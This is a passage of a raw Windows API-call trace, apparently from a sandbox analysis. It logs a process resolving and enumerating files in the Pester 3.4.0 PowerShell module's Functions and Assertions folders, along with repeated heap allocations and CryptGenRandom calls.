[0231.708] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Mock.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Mock.Tests.ps1", lpFilePart=0x9bada4*="Mock.Tests.ps1") returned 0x56 [0231.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.709] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\New-Fixture.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\New-Fixture.ps1", lpFilePart=0x9bada4*="New-Fixture.ps1") returned 0x57 [0231.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.709] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\New-Fixture.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\New-Fixture.Tests.ps1", lpFilePart=0x9bada4*="New-Fixture.Tests.ps1") returned 0x5d [0231.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.709] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\PesterState.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\PesterState.ps1", lpFilePart=0x9bada4*="PesterState.ps1") returned 0x57 [0231.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.709] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\PesterState.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\PesterState.Tests.ps1", lpFilePart=0x9bada4*="PesterState.Tests.ps1") returned 0x5d [0231.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.710] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\SetupTeardown.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\SetupTeardown.ps1", lpFilePart=0x9bada4*="SetupTeardown.ps1") returned 0x59 [0231.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.710] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\SetupTeardown.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\SetupTeardown.Tests.ps1", lpFilePart=0x9bada4*="SetupTeardown.Tests.ps1") returned 0x5f [0231.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.710] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestDrive.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestDrive.ps1", lpFilePart=0x9bada4*="TestDrive.ps1") returned 0x55 [0231.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.710] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestDrive.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestDrive.Tests.ps1", lpFilePart=0x9bada4*="TestDrive.Tests.ps1") returned 0x5b [0231.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.711] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestResults.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestResults.ps1", lpFilePart=0x9bada4*="TestResults.ps1") returned 0x57 [0231.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.711] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestResults.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestResults.Tests.ps1", lpFilePart=0x9bada4*="TestResults.Tests.ps1") returned 0x5d [0231.711] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestsRunningInCleanRunspace.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestsRunningInCleanRunspace.Tests.ps1", lpFilePart=0x9bada4*="TestsRunningInCleanRunspace.Tests.ps1") returned 0x6d [0231.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0231.711] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7610 [0231.713] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.713] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0231.713] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0231.713] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0231.713] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ff, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0231.713] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0231.714] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0231.714] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeLike.ps1", cAlternateFileName="")) returned 1 [0231.714] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeLike.Tests.ps1", cAlternateFileName="")) returned 1 [0231.714] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeLikeExactly.ps1", cAlternateFileName="")) returned 1 [0231.714] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fc, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeLikeExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0231.714] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0231.714] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x573, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeOfType.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeOfType.Tests.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987e10f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987e10f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987e10f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0231.715] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0231.716] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0231.716] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0231.780] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x362d96c | out: pbBuffer=0x362d96c) returned 1 [0231.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0231.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0231.785] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662304 | out: pbBuffer=0x3662304) returned 1 [0231.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0231.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0231.788] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b4c | out: pbBuffer=0x3662b4c) returned 1 [0231.795] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662da4 | out: pbBuffer=0x3662da4) returned 1 [0231.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0231.815] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662854 | out: pbBuffer=0x3662854) returned 1 [0231.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0231.862] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d7c | out: pbBuffer=0x3662d7c) returned 1 [0231.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0231.875] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366246c | out: pbBuffer=0x366246c) returned 1 [0232.179] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662f84 | out: pbBuffer=0x3662f84) returned 1 [0232.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0232.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0232.184] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0232.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0232.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0232.267] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662944 | out: pbBuffer=0x3662944) returned 1 [0232.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0232.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0232.272] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e94 | out: pbBuffer=0x3662e94) returned 1 [0232.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0232.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0232.561] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366237c | out: pbBuffer=0x366237c) returned 1 [0232.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629bc | out: pbBuffer=0x36629bc) returned 1 [0232.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0232.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0232.600] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0232.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0232.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0232.617] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b74 | out: pbBuffer=0x3662b74) returned 1 [0232.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0232.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0232.839] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646b4c | out: pbBuffer=0x3646b4c) returned 1 [0232.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0232.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0232.843] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367996c | out: pbBuffer=0x367996c) returned 1 [0232.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0232.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0233.212] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b74 | out: pbBuffer=0x3679b74) returned 1 [0233.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0233.216] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679034 | out: pbBuffer=0x3679034) returned 1 [0233.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0233.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0233.706] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646d04 | out: pbBuffer=0x3646d04) returned 1 [0233.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0233.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0233.711] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f5c | out: pbBuffer=0x3646f5c) returned 1 [0233.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0233.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0233.868] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x364605c | out: pbBuffer=0x364605c) returned 1 [0233.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0233.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0233.967] CryptGenRandom (in: hProv=0x1052bf0, 